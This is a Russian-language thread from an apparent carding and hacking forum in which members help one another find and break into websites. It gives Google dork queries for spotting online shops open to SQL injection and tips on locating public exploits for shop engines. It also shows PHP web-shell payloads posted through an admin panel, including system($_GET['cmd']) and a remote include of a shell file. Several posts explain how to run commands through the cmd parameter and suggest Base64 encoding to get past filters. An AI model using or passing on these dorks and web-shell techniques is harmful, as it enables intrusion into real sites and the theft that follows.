sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
Допустим я ищу запрос:
allinurl:.php?id=10

Как-то можно отобрать сайты по тематике дописав рядом ключевик? Типа:
allinurl:.php?id=10 онлайн магазин

Если да, то как составить запрос? Я кавычки и одинарные, и двойные пихал, и плюсики но он похоже ключевик учитывает как продолжение оператора allinurl.
во-первых поменяй местами запрос.
Code:
 онлайн магазин allinurl:.php?id=10
во-вторых, используй лучше оператор inurl
онлайн магазин inurl:.php?id=10
вот варианты поиска согласно твоим условиям:
"жесткий" запрос с текстом на странице: "онлайн +магазин"
intext:онлайн +магазин inurl:"php?id=10"
"мягкий" запрос с текстом на странице: "онлайн +магазин"
intext:онлайн +магазин inurl:php?id=10
или так, ищем по типу файла.
intext:онлайн +магазин filetype:php inurl:id=10
онлайн +магазин filetype:php inurl:id=10
intext:онлайн +магазин filetype:php inurl:"id=10"

P.S. Все уважающие себя шопы, стоят на движках. И если ты ищешь шоп с сиквел-инжектом, то можешь вбить в гугл-запросе: название_движка exploit. Затем если под конкретеую версию существует сплойт, например, сиквел-инжект, то опять идем в гугл. и пишем название уязвимого скрипта: inurl:vulnerable_script.php
И гугл сам выдаст нам всю инфу, где еще остался шоп с данным уязвимым скриптом.
 
Last edited:
  • Like
Reactions: sud

    sud

    Points: 1
    No comments

Vasders

Professional
Messages
2,552
Reputation
365
Reaction score
520
Points
113
Сергай, большущее спасибо)
Если че - запрос "онлайн шоп" это пример, мне нужны не сайты на конкретном движке, а сайты конкретной тематики под черное сео. Потому интересует именно поиск по запросам.

Что бы не постить отдельно, спрошу тут:
Есть сайт с админкой, залить шелл не могу, но могу прям в текст постов постить пхп код.
<?php phpinfo();?> выполняется и выводится норм, а <?php system($_GET["cmd"]); ?> - ничего не происходит или <?php include("http://123/shell.php");?> тоже. Че делать?
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
Блять серега я долго молчал но ты откравенно палиш темы, завязывай пока все канторы не спалил)))
Честно, даже школьник все это знает. Зайти на тот же СекуритиЛаб.Ру и посмотри свежие сплойты. Ну а потом Гугл. Никакого привата. Покажи, пожалуйста, где и что я палю.
И еще. Вон Сатана написал статью про жизнь. Ему так репу зацеловали, что даже мне завидно) А я пытаюсь научить народ, что сам умею и сам учусь. Но то что я изучаю врят ли тут кто-то поймет. Для меня скрипт-киддинг уже закончился)

---------- Сообщение добавлено в 20:16 ---------- Предыдущее сообщение размещено в 20:07 ----------

Сергай, большущее спасибо)
Если че - запрос "онлайн шоп" это пример, мне нужны не сайты на конкретном движке, а сайты конкретной тематики под черное сео. Потому интересует именно поиск по запросам.

Что бы не постить отдельно, спрошу тут:
Есть сайт с админкой, залить шелл не могу, но могу прям в текст постов постить пхп код.
<?php phpinfo();?> выполняется и выводится норм, а <?php system($_GET["cmd"]); ?> - ничего не происходит или <?php include("http://123/shell.php");?> тоже. Че делать?
Если такое: <?php system($_GET["cmd"]); ?>
и Винда, то потом пишешь в строке брацзера: www.site.com/script.php?cmd=dir
В смысле после равно пишешь вин команды консоли.
Для никсов ls -la или |ls -la|
Результатом будет вывод файлов текущей директории.

Если у тебя не самописный движок, то только погуглить. Например: название_движка shell, название_движка шелл, название_движка залить шелл, название_движка shell upload.
Может быть некоторые функции в пхп-интерпритаторе отключены (нужно смотреть пхп-инфо), или фильтр есть.
Попробуй закодить в Base64. может прокатит.
 
Last edited:

Vasders

Professional
Messages
2,552
Reputation
365
Reaction score
520
Points
113
Идет линк вида:
http://*****/?q=about
Я пишу так:
http://*****/?q=about&c=ls
Ничего не происходит.
Какие параметры нужны их пхп-инфо? Допустим url fopen - on, но инклуд шелла не работает.
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
Идет линк вида:
http://*****/?q=about
Я пишу так:
http://*****/?q=about&c=ls
Ничего не происходит.
Какие параметры нужны их пхп-инфо? Допустим url fopen - on, но инклуд шелла не работает.
ты всунул пхпкод с переменно cmd, значит к ней и пиши команды.
http://*****/?q=about&cmd=ls -la или http://*****/?q=about&cmd=|ls -la| или вообще опустим переменную about, а просто http://*****/?cmd=ls -la
 

DCWMWM

Carder
Messages
54
Reputation
2
Reaction score
3
Points
8
我不能完全理解!
不过,兄弟你很棒!
通常你用什么代码和关键词搜索漏洞?
 

Passion

VIP member
Messages
562
Reputation
92
Reaction score
124
Points
43
试想你要查找 !
Представьте что Вы хотите найти.
 
Last edited:
Top